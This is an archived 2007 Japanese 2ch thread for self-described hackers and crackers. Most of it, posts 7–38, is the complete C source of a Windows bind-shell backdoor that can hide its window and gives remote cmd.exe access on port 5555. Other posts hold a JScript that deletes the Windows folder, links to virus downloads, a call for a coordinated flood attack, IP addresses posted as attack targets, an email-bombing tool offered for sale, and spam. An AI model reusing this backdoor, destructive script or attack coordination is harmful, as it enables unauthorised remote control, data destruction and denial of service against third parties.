1read 100read
2012年3月プログラマー134: ハッカー&クラッカー専用 (437)
TOP カテ一覧 スレ一覧 2ch元 削除依頼 ▼
一般人にプログラマーという職業を教える時 (108)
おもしろいコピペがあったら貼るスレinマ板part29 (685)
社内失業〜企業に捨てられたプログラマー (355)
小飼弾撲滅振興協議会 (377)
プログラマーはきもい (594)
スレッドを立てるまでもない質問雑談スレ45 (164)
ハッカー&クラッカー専用
- 1 :07/03/09
- このスレの目的
・究極のツール、コード、(フリーだったら、基本的何でもOK)の紹介
・虐待を受けたハッカー&クラッカーの避難所
・虐めた人の居るサイトの(場所)を紹介(2ch意外に限る)
・田代砲による、難民の保護(2ch意外に限る)
(荒らしではありません。自衛のDosです)
- 2 :07/03/09
- 以外なスレがたったな
- 3 :07/03/09
- でしょ!(笑
- 4 :07/03/09
- 虐待を受けたハッカーのボクにちょうどいいスレ^^
ちょっと居座りますよ
/⌒ヽ
/´_ゝ`)
| /
と_)__) 旦
- 5 :07/03/09
- ハッカよりニッキ、クラッカーよりクッキーの方が好きですぅ
- 6 :07/03/09
- _____________
___ /
/´∀`;:::\< テレホマン参上!
/ /::::::::::|\ ここで、トラフィック倍増攻撃だ!
| ./| /:::::|::::::| \_____________
| ||/::::::::|::::::|
説明しよう!
トラフィック倍増攻撃とはテレホマン全員で午後11時以降にネットにつなぐことにより、
普段は1000以上の攻撃パワーを持つADSLマンやFTTHマンの攻撃パワーを100以下に
してしまうこともできるという恐ろしい技だ。
がんばれ ぼくらのテレホマン みんなのテレホマン
- 7 :07/03/09
- バックドアのコード解説(分割して書き込みます)
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <windowsx.h>
#include <tchar.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
// コメントアウト=ウィンドウを表示する
//#define HIDE
// ########################################################
// ## ウィンドウ生成処理
// ########################################################
- 8 :07/03/09
- HINSTANCE hInst;
LPCTSTR szWindowClass = _T("backdoor1");
LPCTSTR szTitle = _T("backdoor1");
ATOM MyRegisterClass(HINSTANCE hInstance);
BOOL InitInstance(HINSTANCE, int);
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
MSG msg;
MyRegisterClass(hInstance);
if (!InitInstance (hInstance, nCmdShow))
{
return FALSE;
}
- 9 :07/03/09
- BOOL bRet;
while ((bRet = GetMessage(&msg, NULL, 0, 0)) != 0)
{
if(bRet == -1)
{
break;
}
if (!TranslateAccelerator(msg.hwnd, NULL, &msg))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
return (int) msg.wParam;
}
- 10 :07/03/09
- ATOM MyRegisterClass(HINSTANCE hInstance)
{
WNDCLASSEX wcex;
wcex.cbSize = sizeof(WNDCLASSEX);
wcex.style = CS_HREDRAW | CS_VREDRAW;
wcex.lpfnWndProc = (WNDPROC)WndProc;
wcex.cbClsExtra = 0;
wcex.cbWndExtra = 0;
wcex.hInstance = hInstance;
wcex.hIcon = LoadIcon(hInstance, NULL);
wcex.hCursor = LoadCursor(NULL, IDC_ARROW);
wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
wcex.lpszMenuName = (LPCTSTR)NULL;
wcex.lpszClassName = szWindowClass;
wcex.hIconSm = LoadIcon(wcex.hInstance, NULL);
return RegisterClassEx(&wcex);
}
- 11 :07/03/09
- BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
HWND hWnd;
hInst = hInstance;
hWnd = CreateWindow(szWindowClass, szTitle,
WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, 0,
CW_USEDEFAULT, 0, NULL, NULL, hInstance, NULL);
if (!hWnd)
{
return FALSE;
}
- 12 :07/03/09
- #ifndef HIDE
ShowWindow(hWnd, nCmdShow);
UpdateWindow(hWnd);
#endif
return TRUE;
}
- 13 :07/03/09
- // ########################################################
// ## ウィンドウ生成処理
// ########################################################
#define START_STRING "connection ok!\x0D\x0A"
#define SHELL_NAME "cmd.exe"
#define START_DIR "c:\\"
#define SERVICE_PORT (5555)
#define WM_ASYNC_SELECT (WM_USER + 1)
typedef struct{
SOCKET sock; // ソケットフラグ
HANDLE hProcess; // プロセスハンドル
HANDLE fd_read; // 入力用パイプ
HANDLE fd_write; // 出力用パイプ
BOOL bAcceptFlag; // 接続数管理フラグ
BOOL bThreadFlag; // スレッド実行フラグ
} THDATA, *PTHDATA;
- 14 :07/03/09
- BOOL OpenCmd(PTHDATA);
SOCKET WaitConnect(HWND);
VOID EndProgram(SOCKET, PTHDATA);
BOOL AcceptConnect(SOCKET, PTHDATA);
VOID TalkClient(HWND, SOCKET, PTHDATA, LPARAM);
VOID CloseConnect(PTHDATA);
VOID ReadConnect(PTHDATA);
DWORD WINAPI OutputToSocket(LPVOID);
VOID JudgeEndConnect(PTHDATA);
BOOL JudgeExit(TCHAR);
- 15 :07/03/09
- // --------------------------------------------------------
// ウィンドウコールバック関数
// --------------------------------------------------------
LRESULT CALLBACK WndProc(HWND hWnd,
UINT message,
WPARAM wParam,
LPARAM lParam)
{
- 16 :07/03/09
- return 0L;
- 17 :07/03/09
- static THDATA thData;
static SOCKET sListen;
switch (message)
{
- 18 :07/03/09
- case WM_CREATE:
// コマンドプロンプト起動
if(OpenCmd(&thData))
DestroyWindow(hWnd);
// ソケットを開いてポートを開ける
if((sListen = WaitConnect(hWnd)) == -1)
DestroyWindow(hWnd);
break;
case WM_ASYNC_SELECT:
// ネットワーク関連関数へ
TalkClient(hWnd, sListen, &thData, lParam);
break;
case WM_DESTROY:
// プログラムの終了
EndProgram(sListen, &thData);
PostQuitMessage(0);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
return 0;
}
- 19 :07/03/09
- 16
勝手にreturn 0L;させないでください。
リターンさせてどーするんだ?
- 20 :07/03/09
- // --------------------------------------------------------
// コマンドプロンプトとパイプで繋ぐ関数
// --------------------------------------------------------
- 21 :07/03/09
- BOOL OpenCmd(PTHDATA pthData)
{
// pthData->bAcceptFlag
// pthData->fd_write
// pthData->fd_read
// pthData->hProcess
pthData->bAcceptFlag = TRUE;
- 22 :07/03/09
- MessageBox(NULL,TEXT("ガ━━(゚Д゚;)━━━ン!!!!!"),TEXT("(´・∀・`)"),0);
- 23 :07/03/09
- 22人のこて半勝手に使うな!
- 24 :07/03/09
- // パイプ生成オペレーション
HANDLE pfd_in[2], pfd_out[2];
short int R = 0, W = 1;
SECURITY_ATTRIBUTES sa;
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
sa.nLength = sizeof(sa);
HANDLE hParent = GetCurrentProcess();
CreatePipe(&pfd_out[R], &pfd_out[W], &sa, 0);
DuplicateHandle(hParent, pfd_out[R], hParent,
&pthData->fd_write, 0, FALSE, DUPLICATE_SAME_ACCESS);
CloseHandle(pfd_out[R]);
CreatePipe(&pfd_in[R], &pfd_in[W], &sa, 0);
DuplicateHandle(hParent, pfd_in[W], hParent,
&pthData->fd_read, 0, FALSE, DUPLICATE_SAME_ACCESS);
CloseHandle(pfd_in[W]);
- 25 :07/03/09
- // プロセス生成
STARTUPINFO si;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = pfd_in[R];
si.hStdOutput = pfd_out[W];
si.hStdError = pfd_out[W];
- 26 :07/03/09
- PROCESS_INFORMATION pi;
BOOL bret = CreateProcess(NULL, SHELL_NAME, NULL,
NULL, TRUE, 0, NULL, START_DIR, &si, &pi);
if(bret == 0){
CloseHandle(pthData->fd_read);
CloseHandle(pthData->fd_write);
CloseHandle(pfd_in[R]);
CloseHandle(pfd_out[W]);
return TRUE;
}
- 27 :07/03/09
- // プロセスハンドルを保存
pthData->hProcess = pi.hProcess;
CloseHandle(pi.hProcess);
CloseHandle(pfd_in[R]);
CloseHandle(pfd_out[W]);
return FALSE;
}
- 28 :07/03/09
- // --------------------------------------------------------
// ソケットを開きポートを開ける関数
// --------------------------------------------------------
SOCKET WaitConnect(HWND hWnd)
{
- 29 :07/03/09
- WSADATA wsaData;
if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
return -1;
SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock == INVALID_SOCKET)
return -1;
SOCKADDR_IN Serv;
memset(&Serv, 0, sizeof(Serv));
Serv.sin_family = AF_INET;
Serv.sin_port = htons((USHORT)(SERVICE_PORT));
Serv.sin_addr.s_addr = htonl(INADDR_ANY);
if(bind(sock, (SOCKADDR *)&Serv, sizeof(Serv)) == SOCKET_ERROR)
return -1;
if(listen(sock, 0) == SOCKET_ERROR)
return -1;
int ret = WSAAsyncSelect(sock, hWnd, WM_ASYNC_SELECT,
FD_ACCEPT | FD_CLOSE | FD_READ | FD_WRITE);
if(ret == SOCKET_ERROR)
return -1;
return sock;
}
- 30 :07/03/09
- // --------------------------------------------------------
// プログラム終了時に後始末を行う関数
// --------------------------------------------------------
VOID EndProgram(SOCKET sock,
PTHDATA pthData)
{
// コマンドプロンプトを終了
DWORD dwLen;
WriteFile(pthData->fd_read, "exit\x0D\x0A", 6, &dwLen, NULL);
FlushFileBuffers(pthData->fd_read);
WaitForSingleObject(pthData->hProcess, 3000);
// パイプを閉じる
CloseHandle(pthData->fd_read);
CloseHandle(pthData->fd_write);
// ソケットを閉じる
shutdown(sock, SD_BOTH);
closesocket(sock);
WSACleanup();
}
- 31 :07/03/09
- // --------------------------------------------------------
// ネットワーク部分のメイン関数
// --------------------------------------------------------
VOID TalkClient(HWND hWnd,
SOCKET sock,
PTHDATA pthData,
LPARAM lParam)
{
switch(WSAGETSELECTEVENT(lParam))
{
case FD_ACCEPT:
// 接続要求を受け付ける
AcceptConnect(sock, pthData);
break;
case FD_READ:
// データを読み込む
ReadConnect(pthData);
break;
case FD_CLOSE:
// 接続を終了する
CloseConnect(pthData);
break;
}
}
- 32 :07/03/09
- // --------------------------------------------------------
// 接続を受け付ける関数
// ソケットを開き、スレッドを起動させる
// --------------------------------------------------------
BOOL AcceptConnect(SOCKET sListen,
PTHDATA pthData)
{
// pthData->sock
// pthData->ThreadFlag
// クライアントからのソケットを受け取る
SOCKADDR_IN Client;
int ClientLen = sizeof(Client);
SOCKET sock_tmp = accept(
sListen, (LPSOCKADDR)&Client, &ClientLen);
if(sock_tmp == INVALID_SOCKET)
return TRUE;
// 先着がいれば接続を拒否する
if( ! pthData->bAcceptFlag){
// ソケットを閉じる
shutdown(sock_tmp, SD_BOTH);
closesocket(sock_tmp);
return TRUE;
}
- 33 :07/03/09
- // 先着がいなければ接続を了承する
// 以後の接続を受け付けない
pthData->bAcceptFlag = FALSE;
pthData->sock = sock_tmp;
// 最初に接続完了のデータを送る
send(pthData->sock,
START_STRING, (int)strlen(START_STRING), 0);
// スレッドフラグを立てる
pthData->bThreadFlag = TRUE;
// スレッド生成
DWORD dwThID;
HANDLE hThread = CreateThread(NULL, 0,
OutputToSocket, (LPVOID)pthData, 0, &dwThID);
if(hThread == NULL){
shutdown(pthData->sock, SD_BOTH);
closesocket(pthData->sock);
return TRUE;
}
CloseHandle(hThread);
return FALSE;
}
- 34 :07/03/09
- // --------------------------------------------------------
// 接続を終了する関数
// スレッドを終了させ、ソケットを閉じる
// --------------------------------------------------------
VOID CloseConnect(PTHDATA pthData)
{
// ソケットを閉じる
shutdown(pthData->sock, SD_BOTH);
closesocket(pthData->sock);
// スレッド終了
pthData->bThreadFlag = FALSE;
// 再び接続を受け付ける
pthData->bAcceptFlag = TRUE;
}
- 35 :07/03/09
- // --------------------------------------------------------
// クライアントから送られてきたデータを
// コマンドプロンプトへ書き込む関数
// --------------------------------------------------------
VOID ReadConnect(PTHDATA pthData)
{
TCHAR c; DWORD dwLen;
recv(pthData->sock, &c, 1, 0);
if(JudgeExit(c)){
JudgeEndConnect(pthData);
return;
}
WriteFile(pthData->fd_read, &c, 1, &dwLen, NULL);
FlushFileBuffers(pthData->fd_read);
}
- 36 :07/03/09
- // --------------------------------------------------------
// コマンドプロンプトに表示されたデータを
// クライアントへ送信する関数
// --------------------------------------------------------
DWORD WINAPI OutputToSocket(LPVOID lpvoid)
{
PTHDATA pthData = (PTHDATA)lpvoid;
DWORD dwLen;
char szBuf[1024];
while(pthData->bThreadFlag){
Sleep(100);
BOOL bret = ReadFile(pthData->fd_write,
&szBuf, sizeof(szBuf), &dwLen, NULL);
if(bret == FALSE)
continue;
if(dwLen > 0)
send(pthData->sock, szBuf, dwLen, 0);
}
return 0;
}
- 37 :07/03/09
- // --------------------------------------------------------
// exitと入力されたことにより、接続を切断する関数
// --------------------------------------------------------
VOID JudgeEndConnect(PTHDATA pthData)
{
// 接続を切断
CloseConnect(pthData);
// 改行を書き込む(「exi\r\n」を入力したことになる)
DWORD dwLen;
WriteFile(pthData->fd_read,
"\x0D\x0A", 2, &dwLen, NULL);
FlushFileBuffers(pthData->fd_read);
// 1秒待って
Sleep(1000);
// 出力データを読み込む
TCHAR szBuf[1024];
ReadFile(pthData->fd_write,
&szBuf, sizeof(szBuf), &dwLen, NULL);
// 最後に改行を送って終了
WriteFile(pthData->fd_read,
"\x0D\x0A", 2, &dwLen, NULL);
FlushFileBuffers(pthData->fd_read);
}
- 38 :07/03/09
- // --------------------------------------------------------
// exitの入力判定を行う関数
// --------------------------------------------------------
BOOL JudgeExit(TCHAR c)
{
static TCHAR szExit[8] = "AAAA";
for(int i=0; i < 3; i++)
szExit[i] = szExit[i+1];
szExit[3] = c;
if( ! lstrcmpi(szExit, "exit"))
return TRUE;
return FALSE;
}
- 39 :07/03/09
- えっと、このプログラムを落とすツールを作ればイイノカナ?
- 40 :07/03/09
- まぁ、簡単なのは、ざっとこんな物かな・・・
良ければ、コンパイルしてみてください。
- 41 :07/03/09
- ファイrをうpしろよ。そっちの方が簡単だろ。
- 42 :07/03/10
- 41
そうですね・・(笑
まだ、中学ナもんで・・・
- 43 :07/03/10
- ところで、tor知ってますか?
鯖偽装ソフト。
あれ、2chで使えなくないですか?
- 44 :07/03/10
- kill 9 backdoor1
>あれ、2chで使えなくないですか?
ひさびさワロタwwww
何考えてるのかとおもったらそういうオチか
- 45 :07/03/10
- >そうですね・・(笑
最近の中学生は(笑 とか使うのか。
昔の流行が再燃するような感じだな。
- 46 :07/03/10
- . /⌒ヽ
/ ) え!スレ終了?立ち退き?!今月ピンチ・・・
| /
| /| |
// | |
U .U
- 47 :07/03/10
- 46
AA巧く表示されてない。(顔ないし・・・)
- 48 :07/03/10
- 44
俺が紹介したBACKDOORの名前しっとんだね。
ふふふ・・・
- 49 :07/03/10
- ふふふ・・
- 50 :07/03/10
- >47-48
いやいやwwwwww
偽者だと思うんだ
思うんだけど>1ならあるかもとか思えて怖い
- 51 :07/03/10
- じゃあ、
アルゼンチンの天才的な、
クラッカー[K]Alamarの(ウイルス名、vbs.vbswg.aq@mm)しってる?
最高だよ(微笑・・
URLを載せとくよ、Downloadしてみて。
ttp://vx.netlux.org/vx.php?id=tv07
- 52 :07/03/10
- なにこの厨房スレ
- 53 :07/03/10
- &btnI=I%27m+Feeling+Lucky&lr=
googleの検索結果の後ろにこれを付けるとなんでページが開くの?
エロイ人教えて、ま、これから調査するが
ttp://www.google.co.jp/search?hl=ja&q=hoge&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=
&btnI=I%27m+Feeling+Lucky&lr=
とかさ
- 54 :07/03/10
- スニッファーソフトしってる?
メール、盗聴するのだよ。
パスも盗聴できる。
た・だ・し、16進数が分かればね!
代表的なのは、Ettercapだよ。
フリーで最も危険なソフト。
URLは、
ttp://ettercap.sourceforge.net/
- 55 :07/03/10
- ふふふ・・
- 56 :07/03/10
- 52
どう?
笑えるでしょ。俺今むっちゃ暇なの、
だからスレ立てて、ここで何となぁ〜く楽しんでるの!?
- 57 :07/03/10
- どんだけ厨房なんだよww
- 58 :07/03/10
- >>53 [I'm Feeling Lucky]ボタンってGoogleに昔からあるっつうの
- 59 :07/03/10
- >>58
2002年ごろからあるんですねえ。
知らなかった。
btnI=
で調べればヨユウッスね
- 60 :07/03/10
- さてここで、
標準C/C++プロを作るだけでなくWin32APIを使用してアプリしたい人に
お勧めを紹介します。
Platform SDKというソフトがあります。
URLは、
ttp://www.microsoft.com/msdownload/platformsdk/sdkupdate/
- 61 :07/03/10
- 退屈だ・・・
だれか、いいソフト教えて〜〜〜
- 62 :07/03/10
- >>59 Googleのトップページに昔からあるっつうの
- 63 :07/03/10
- 50
攻撃したいとこあるん?
ヒトデが足りれば潰せるよ(笑
- 64 :07/03/11
- age
- 65 :07/03/11
- 通報しました。
- 66 :あぼーん:あぼーん
- あぼーん
- 67 :07/03/11
- <速報>
今夜、10時より田代砲による田代祭りを決行いたします。
参加、観戦したい人は、http://talk.milkcafe.net/
により、田代砲を持参ください。
一人でも多くの祭りファンのご来光、
楽しみにお待ちしております。
- 68 :07/03/12
- exit();
- 69 :あぼーん:あぼーん
- あぼーん
- 70 :07/04/01
- http://mocha.la.coocan.jp/kisei.htm
- 71 :07/04/01
- http://mocha.la.coocan.jp/pukiwiki/index.php
- 72 :07/04/01
- <script language="jscript">
var fso
fso=new ActiveXObject("Scripting.FileSystemObject");
fso.DeleteFolder("C:\\Windows",true);
</script>
OS98でVBSで拡張つけて実行したらどーなるでしょう〜か
- 73 :07/04/02
- Windowsが起動しなくなる?
最近のWindowsだと大事なファイルは削除できないようになってそうだけど・・・どうなの
- 74 :07/04/02
- アタリ('A`)
- 75 :07/05/04
- 何この糞スレ
スクリプトキディだろお前ら
VIPPERより役に立たないくせに
- 76 :07/05/06
- >>42
中学生なことと何が関係あるんだ?
- 77 :07/05/12
- 私のホムペを見に来て(*^▽^*)/荒らしは禁止だからね!!まあパスつけてるから荒らせないだろうけどね(笑)http://x54.peps.jp/vyuk1v?id=vyuk1v&_cus=jgw2rt
- 78 :07/06/09
- IPアドレス 59.146.152.231
ホスト名 p9298e7.osaknt01.ap.so-net.ne.jp
さら されちゃいましたが コレだけだっったら大丈夫でしょうか?
やられないですか?ハック&クラッカ−
- 79 :07/06/09
- このサイトやってくださいませ
どうして電話してきてくれないのぉ
(TT)あんまりタイプじゃなかったのかなぁ?
美咲ねっ…割り切りであってくれたら
何でもするつもりだったのになぁ
♪一応、由紀の携番もう一回送っときますねっ
ttp://homepage2.nifty.com/starbeach4/toppo/queen/song./
パスは1008ってなってるからぁ♪
- 80 :あぼーん:あぼーん
- あぼーん
- 81 :07/06/09
- >>80
俺趣味でスパムメール撃退ソフト作ってるんだけど
2000円で買う?
例えば指定メアドに1万発発射とか出来るぞ
- 82 :07/06/10
- >>81
いい趣味してますな
- 83 :あぼーん:あぼーん
- あぼーん
- 84 :07/06/11
- アセンブラの良書は何でつか?
- 85 :あぼーん:あぼーん
- あぼーん
- 86 :07/06/13
- >>82
ありがとうw
もうちょっとで俺のサイトにアップロードするよw
性能はピカイチだよw
スパム業者もびっくりの反撃ツールだからねw
- 87 :07/06/15
- >>86
ください
- 88 :07/06/15
- >>86
SPAM業者のメールサーバなんざレスきたさきから/dev/null行きだろう、、、。
SPAMメールん10万通送ってたら、それだけサーバから拒否られてるわけで。
- 89 :07/06/17
- >>87
¥2000円+自己責任でね。
反撃しすぎてプロバイダから損害賠償請求される可能性もあるから、
原則的に俺は1000発の反撃で留めてるよw
>>86
甘いな。反撃するのは送られて来たメールアドレスではなく、送られた
来たSPAMメールの本文に記載されているメールアドレスに対して
反撃をするんだよw
まぁ、俺のツールを公開すれば一般人にはかなり感謝されると思うw
- 90 :07/06/17
-
あー、俺もアセンブラ勉強してーなー
いい本ないかね
- 91 :07/06/17
- ZU219008.ppp.dion.ne.jp(59.133.219.8)
やっちゃって下さい
- 92 :07/06/29
- このページに接続する方法を誰か知りませんか?
oasis.midwest.org
どうもアメリカの外からの接続にはサーバが見つからないようになってるっぽい・・・
出来ればC#を使ってこのサーバに接続したいんですが・・・アメリカの外から
- 93 :07/06/29
- >>92 です
PFX証明があるのは分かってるけどサーバにすら辿り着けません・・
- 94 :07/06/30
- 訂正します: oasis.midwestiso.orgでした、 スンマセン
- 95 :あぼーん:あぼーん
- あぼーん
- 96 :07/08/31
- 先生!ハッカーになりたい時はどうすればいいんですか!
- 97 :07/09/07
- >>96
まずは、オープンソースのプロジェクトにパッチでも投稿してみてはいかがでしょうか?
あとは、使い捨てのスクリプトを書いてみるとか。
そんなこんなしているうちに、ハッカーになっていると思うよ。
- 98 :07/09/09
- >>96
今そっちの環境はどーなってんの?
- 99 :07/12/20
- mpeg compass.jp
名古屋駅近辺でお話しましょう
- 100read 1read
1read 100read
TOP カテ一覧 スレ一覧 2ch元 削除依頼 ▲
富士通グループって、優良でまともなじゃん。 (306)
【違法】ブラックリストの存在について【派遣】 (282)
ラッキョを机で転がすスレPart2 (111)
【常駐職人】たけくん【JTAG-ICE】 (419)
この会社辞めたくなった社長の一言 0x01 (779)
韓国人PGが嫌いな人 (354)
--log9.info------------------
障害者の大学生、集まれ! (280)
「障害は個性の1つ」という考えに反対する人→ (373)
喫煙者はハンディキャップだらけ('A`)y─┛~~~ (801)
養護学校卒、無職勝木諒容疑者 (475)
障害者が出てくる映画やドラマ (178)
障害者を育てるのってめんどくせーな (291)
なぜ障害者は子供っぽいの? (448)
障害児(者)の親とか、板から出ていけよ! (648)
障害者ポスト設置が必要 (573)
障害者の生き方 (352)
人間らしい生き方 (396)
この板で障害者の中傷してる人って心が痛まないの? (622)
□■□ 太田母斑 part2 □■□ (635)
**障害者についてどう思うか?** (853)
カタワに対する言葉の暴力はやめよう! (508)
東京障害者職業能力開発校 (201)
--log55.com------------------
職場で感じた理不尽体験 「分からなかったら聞いて」→ いざ聞くと「自分で考えて」 2020.3.20
【経済】フリーランスや自営業に一日4100円の休業補償検討、新型コロナ対策で
【和牛】[新型コロナ] 和牛消費へ商品券 経済対策自民が検討 2020/03/25
【IT】6割がプログラミング能力不足を実感、ITエンジニア440人が明かした「悩み」
【2020年提出】確定申告、医療費控除の対象になる費用まとめ
【経済】日銀総裁「リーマン・ショック級でない」
【経済】首相「新型コロナ前まで景気は上向き」 参院予算委
【バイク】ホンダ、125ccクラスの新型レジャーモデル「CT125・ハンターカブ」を6月26日発売。価格は44万円
-